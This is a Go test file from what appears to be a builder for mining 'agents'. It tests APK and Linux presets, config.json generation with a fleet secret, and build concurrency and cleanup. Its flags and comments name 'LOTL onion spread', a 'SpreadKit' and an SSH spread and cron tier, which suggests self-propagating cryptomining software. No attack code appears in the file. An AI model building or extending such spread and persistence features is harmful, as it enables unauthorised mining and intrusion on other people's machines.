Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
361 lines
11 KiB
Go
361 lines
11 KiB
Go
package builder
|
|
|
|
import (
|
|
"context"
|
|
"encoding/json"
|
|
"fmt"
|
|
"os"
|
|
"path/filepath"
|
|
"strings"
|
|
"sync"
|
|
"testing"
|
|
"time"
|
|
)
|
|
|
|
func TestApplyApkScoutPreset(t *testing.T) {
|
|
req := &BuildRequest{
|
|
WorkerName: "scout-tablet",
|
|
ServerURL: "http://192.168.1.5:8989",
|
|
Threads: 8,
|
|
}
|
|
ApplyApkScoutPreset(req)
|
|
if !req.ApkMode || !req.ScoutMode || !req.MiningDisabled {
|
|
t.Fatalf("scout preset flags: apk=%v scout=%v mining_disabled=%v", req.ApkMode, req.ScoutMode, req.MiningDisabled)
|
|
}
|
|
if req.LotlOnionEnabled {
|
|
t.Fatal("scout must not enable LOTL onion spread chain")
|
|
}
|
|
if len(req.LotlOnionTiers) != 2 || req.LotlOnionTiers[0] != "discover_and_join" {
|
|
t.Fatalf("scout tiers = %v", req.LotlOnionTiers)
|
|
}
|
|
if req.Wallet == "" {
|
|
t.Fatal("scout preset should set placeholder wallet")
|
|
}
|
|
}
|
|
|
|
func TestApplyApkBuildPreset(t *testing.T) {
|
|
req := &BuildRequest{
|
|
WorkerName: "phone-1",
|
|
ServerURL: "http://192.168.1.5:8989",
|
|
FusionEnabled: true,
|
|
Threads: 8,
|
|
}
|
|
ApplyApkBuildPreset(req)
|
|
if !req.ApkMode || req.TargetOS != "android" || req.TargetArch != "arm64" {
|
|
t.Fatalf("apk preset target: mode=%v os=%q arch=%q", req.ApkMode, req.TargetOS, req.TargetArch)
|
|
}
|
|
if req.FusionEnabled || req.SpreadKit || !req.MiningDisabled {
|
|
t.Fatalf("fusion/spread/mining: fusion=%v spread=%v mining_disabled=%v", req.FusionEnabled, req.SpreadKit, req.MiningDisabled)
|
|
}
|
|
if req.Threads != 1 {
|
|
t.Fatalf("threads=%d want 1", req.Threads)
|
|
}
|
|
if req.ApkAgentName != "phone-1" {
|
|
t.Fatalf("apk_agent_name=%q", req.ApkAgentName)
|
|
}
|
|
// "linux" tier must be absent — it enables SSH spread / cron which cannot
|
|
// run inside the Android process sandbox.
|
|
for _, tier := range req.LotlOnionTiers {
|
|
if tier == "linux" {
|
|
t.Fatalf("linux LOTL tier must not be set for APK builds, got tiers=%v", req.LotlOnionTiers)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestPlatformsForRequestApkMode(t *testing.T) {
|
|
ps := platformsForRequest(&BuildRequest{ApkMode: true})
|
|
if len(ps) != 1 || ps[0].GOOS != "linux" || ps[0].GOARCH != "arm64" {
|
|
t.Fatalf("apk platform: %+v", ps)
|
|
}
|
|
}
|
|
|
|
func TestBuildAPKAgentMockGradle(t *testing.T) {
|
|
h, database := testHandlerDB(t)
|
|
t.Cleanup(func() { _ = database.Close() })
|
|
setFakeGoSuccess(t, h)
|
|
|
|
androidDir := filepath.Join(h.projectRoot, "android")
|
|
if err := os.MkdirAll(filepath.Join(androidDir, "agent-app", "src", "main", "assets"), 0755); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
h.apkBuildFn = func(h *Handler, ctx context.Context, androidDir, buildDir string) (string, error) {
|
|
apk := filepath.Join(buildDir, "agent-app-debug.apk")
|
|
if err := os.WriteFile(apk, []byte("PK fake apk"), 0644); err != nil {
|
|
return "", err
|
|
}
|
|
return apk, nil
|
|
}
|
|
|
|
req := &BuildRequest{
|
|
WorkerName: "tablet-1",
|
|
ServerURL: "http://192.168.1.10:8989",
|
|
CancelToken: "apk-test-token",
|
|
ApkMode: true,
|
|
}
|
|
resp, code, _ := h.buildAPKAgent(context.Background(), req)
|
|
if code != 200 || !resp.Success {
|
|
t.Fatalf("build failed code=%d resp=%+v", code, resp)
|
|
}
|
|
if resp.ArtifactPath == "" || resp.DownloadURL == "" {
|
|
t.Fatalf("missing artifact paths: %+v", resp)
|
|
}
|
|
if !strings.HasSuffix(resp.FileName, ".apk") {
|
|
t.Fatalf("file_name=%q", resp.FileName)
|
|
}
|
|
|
|
cfgPath := filepath.Join(h.apkAssetsDir(), "config.json")
|
|
raw, err := os.ReadFile(cfgPath)
|
|
if err != nil {
|
|
t.Fatalf("config.json: %v", err)
|
|
}
|
|
var cfg apkAssetConfig
|
|
if err := json.Unmarshal(raw, &cfg); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if cfg.ServerURL != req.ServerURL || cfg.WorkerName != "tablet-1" {
|
|
t.Fatalf("config.json: %+v", cfg)
|
|
}
|
|
if cfg.WorkerNumber != "tablet-1" {
|
|
t.Fatalf("worker_number=%q want tablet-1", cfg.WorkerNumber)
|
|
}
|
|
if cfg.BuildID == "" {
|
|
t.Fatal("build_id must be non-empty")
|
|
}
|
|
|
|
agentAsset := filepath.Join(h.apkAssetsDir(), "agent")
|
|
if _, err := os.Stat(agentAsset); err != nil {
|
|
t.Fatalf("agent asset missing: %v", err)
|
|
}
|
|
|
|
// Verify compile step wrote linux/arm64 builtin config with APK flags.
|
|
buildDirs, _ := os.ReadDir(filepath.Join(h.dataDir, "builds"))
|
|
if len(buildDirs) == 0 {
|
|
t.Fatal("no build dir")
|
|
}
|
|
builtinPath := filepath.Join(h.dataDir, "builds", buildDirs[0].Name(), "agent", "config", "builtin.go")
|
|
builtin, err := os.ReadFile(builtinPath)
|
|
if err != nil {
|
|
t.Fatalf("builtin.go: %v", err)
|
|
}
|
|
if !strings.Contains(string(builtin), "ApkMode") || !strings.Contains(string(builtin), "MiningDisabled: true") {
|
|
t.Fatalf("apk flags missing from builtin.go:\n%s", builtin)
|
|
}
|
|
}
|
|
|
|
func TestApkConfigJSONFleetSecret(t *testing.T) {
|
|
h, database := testHandlerDB(t)
|
|
t.Cleanup(func() { _ = database.Close() })
|
|
h.fleetSecret = "test-fleet-secret-abc123"
|
|
|
|
assetsDir := h.apkAssetsDir()
|
|
if err := os.MkdirAll(assetsDir, 0755); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
req := &BuildRequest{
|
|
WorkerName: "secret-node",
|
|
ApkAgentName: "secret-node",
|
|
ServerURL: "http://10.0.0.1:8989",
|
|
MiningDisabled: true,
|
|
}
|
|
if err := h.writeApkConfigJSON(req, "build-secret-test"); err != nil {
|
|
t.Fatalf("writeApkConfigJSON: %v", err)
|
|
}
|
|
|
|
raw, err := os.ReadFile(filepath.Join(assetsDir, "config.json"))
|
|
if err != nil {
|
|
t.Fatalf("read config.json: %v", err)
|
|
}
|
|
var cfg apkAssetConfig
|
|
if err := json.Unmarshal(raw, &cfg); err != nil {
|
|
t.Fatalf("unmarshal: %v", err)
|
|
}
|
|
|
|
if cfg.FleetSecret != "test-fleet-secret-abc123" {
|
|
t.Errorf("fleet_secret: got %q want %q", cfg.FleetSecret, "test-fleet-secret-abc123")
|
|
}
|
|
if cfg.WorkerName != "secret-node" || cfg.WorkerNumber != "secret-node" {
|
|
t.Errorf("worker: name=%q number=%q", cfg.WorkerName, cfg.WorkerNumber)
|
|
}
|
|
if cfg.Mining.Enabled {
|
|
t.Error("mining.enabled should be false when MiningDisabled=true")
|
|
}
|
|
if cfg.BuildID != "build-secret-test" {
|
|
t.Errorf("build_id: got %q want %q", cfg.BuildID, "build-secret-test")
|
|
}
|
|
}
|
|
|
|
func TestApkConfigJSONNoSecretOmitted(t *testing.T) {
|
|
h, database := testHandlerDB(t)
|
|
t.Cleanup(func() { _ = database.Close() })
|
|
// h.fleetSecret is empty — fleet_secret must be omitted from JSON
|
|
|
|
assetsDir := h.apkAssetsDir()
|
|
if err := os.MkdirAll(assetsDir, 0755); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
req := &BuildRequest{
|
|
WorkerName: "no-secret-node",
|
|
ServerURL: "http://10.0.0.2:8989",
|
|
}
|
|
if err := h.writeApkConfigJSON(req, "bld-nosecret"); err != nil {
|
|
t.Fatalf("writeApkConfigJSON: %v", err)
|
|
}
|
|
|
|
raw, err := os.ReadFile(filepath.Join(assetsDir, "config.json"))
|
|
if err != nil {
|
|
t.Fatalf("read config.json: %v", err)
|
|
}
|
|
if strings.Contains(string(raw), "fleet_secret") {
|
|
t.Errorf("fleet_secret should be omitted when empty, got:\n%s", raw)
|
|
}
|
|
}
|
|
|
|
func TestApkAssetPathsMatchBinaryExtractor(t *testing.T) {
|
|
// Cross-check Go builder output with android BinaryExtractor.kt constants:
|
|
// ASSET_NAME = "agent", config consumed by AgentConfig.kt as config.json.
|
|
h, database := testHandlerDB(t)
|
|
t.Cleanup(func() { _ = database.Close() })
|
|
assetsDir := h.apkAssetsDir()
|
|
if err := os.MkdirAll(assetsDir, 0755); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
agentBin := filepath.Join(t.TempDir(), "agent-arm64")
|
|
if err := os.WriteFile(agentBin, []byte("elf-agent-binary"), 0755); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if err := h.copyAgentBinaryToApkAssets(agentBin); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
agentAsset := filepath.Join(assetsDir, "agent")
|
|
if _, err := os.Stat(agentAsset); err != nil {
|
|
t.Fatalf("agent asset missing at BinaryExtractor ASSET_NAME path: %v", err)
|
|
}
|
|
if err := h.writeApkConfigJSON(&BuildRequest{
|
|
WorkerName: "tab-1", ServerURL: "http://deck:8989", MiningDisabled: true,
|
|
}, "bld-cross"); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if _, err := os.Stat(filepath.Join(assetsDir, "config.json")); err != nil {
|
|
t.Fatalf("config.json missing for AgentConfig.kt: %v", err)
|
|
}
|
|
}
|
|
|
|
func TestNormalizeRequestApkSkipsWallet(t *testing.T) {
|
|
h := &Handler{}
|
|
req := &BuildRequest{
|
|
WorkerName: "apk-node",
|
|
ServerURL: "http://192.168.1.5:8989",
|
|
ApkMode: true,
|
|
}
|
|
if err := h.normalizeRequest(req); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if req.TargetOS != "android" || !req.MiningDisabled {
|
|
t.Fatalf("normalized apk: os=%q mining_disabled=%v", req.TargetOS, req.MiningDisabled)
|
|
}
|
|
}
|
|
|
|
func TestBuildAPKAgentConcurrency(t *testing.T) {
|
|
h, database := testHandlerDB(t)
|
|
t.Cleanup(func() { _ = database.Close() })
|
|
setFakeGoSuccess(t, h)
|
|
|
|
androidDir := filepath.Join(h.projectRoot, "android")
|
|
if err := os.MkdirAll(filepath.Join(androidDir, "agent-app", "src", "main", "assets"), 0755); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
// Channel to coordinate/delay the mock builds to assert serialization
|
|
inBuildChan := make(chan struct{}, 2)
|
|
h.apkBuildFn = func(h *Handler, ctx context.Context, androidDir, buildDir string) (string, error) {
|
|
inBuildChan <- struct{}{}
|
|
// Wait a small duration to keep the lock held, letting another call try to acquire it
|
|
time.Sleep(50 * time.Millisecond)
|
|
apk := filepath.Join(buildDir, "agent-app-debug.apk")
|
|
if err := os.WriteFile(apk, []byte("PK fake apk concurrent"), 0644); err != nil {
|
|
return "", err
|
|
}
|
|
return apk, nil
|
|
}
|
|
|
|
var wg sync.WaitGroup
|
|
wg.Add(2)
|
|
for i := 0; i < 2; i++ {
|
|
go func(id int) {
|
|
defer wg.Done()
|
|
req := &BuildRequest{
|
|
WorkerName: fmt.Sprintf("node-%d", id),
|
|
ServerURL: "http://10.0.0.1:8989",
|
|
CancelToken: fmt.Sprintf("cancel-token-%d", id),
|
|
ApkMode: true,
|
|
}
|
|
resp, code, _ := h.buildAPKAgent(context.Background(), req)
|
|
if code != 200 || !resp.Success {
|
|
t.Errorf("concurrent build %d failed: code=%d resp=%+v", id, code, resp)
|
|
}
|
|
}(i)
|
|
}
|
|
|
|
wg.Wait()
|
|
close(inBuildChan)
|
|
|
|
// Since they are serialized, they should execute one after the other.
|
|
if len(inBuildChan) != 2 {
|
|
t.Fatalf("expected 2 builds to have run, got %d", len(inBuildChan))
|
|
}
|
|
}
|
|
|
|
func TestBuildAPKAgentDatabaseFailureCleanup(t *testing.T) {
|
|
h, database := testHandlerDB(t)
|
|
// We close the database immediately so that InsertBuild fails
|
|
_ = database.Close()
|
|
|
|
setFakeGoSuccess(t, h)
|
|
|
|
androidDir := filepath.Join(h.projectRoot, "android")
|
|
if err := os.MkdirAll(filepath.Join(androidDir, "agent-app", "src", "main", "assets"), 0755); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
h.apkBuildFn = func(h *Handler, ctx context.Context, androidDir, buildDir string) (string, error) {
|
|
apk := filepath.Join(buildDir, "agent-app-debug.apk")
|
|
if err := os.WriteFile(apk, []byte("PK fake apk cleanup test"), 0644); err != nil {
|
|
return "", err
|
|
}
|
|
return apk, nil
|
|
}
|
|
|
|
req := &BuildRequest{
|
|
WorkerName: "cleanup-node",
|
|
ServerURL: "http://10.0.0.1:8989",
|
|
CancelToken: "cleanup-test-token",
|
|
ApkMode: true,
|
|
}
|
|
|
|
// Capture existing files in builds dir
|
|
buildsDir := filepath.Join(h.dataDir, "builds")
|
|
_ = os.MkdirAll(buildsDir, 0755)
|
|
|
|
resp, code, _ := h.buildAPKAgent(context.Background(), req)
|
|
if resp.Success || code == 200 {
|
|
t.Fatalf("expected build to fail on DB write, but got success: code=%d", code)
|
|
}
|
|
|
|
// Verify that the build directory under builds/ was cleaned up
|
|
files, err := os.ReadDir(buildsDir)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if len(files) != 0 {
|
|
var names []string
|
|
for _, f := range files {
|
|
names = append(names, f.Name())
|
|
}
|
|
t.Fatalf("expected builds directory to be empty after database failure cleanup, but found: %v", names)
|
|
}
|
|
}
|
|
|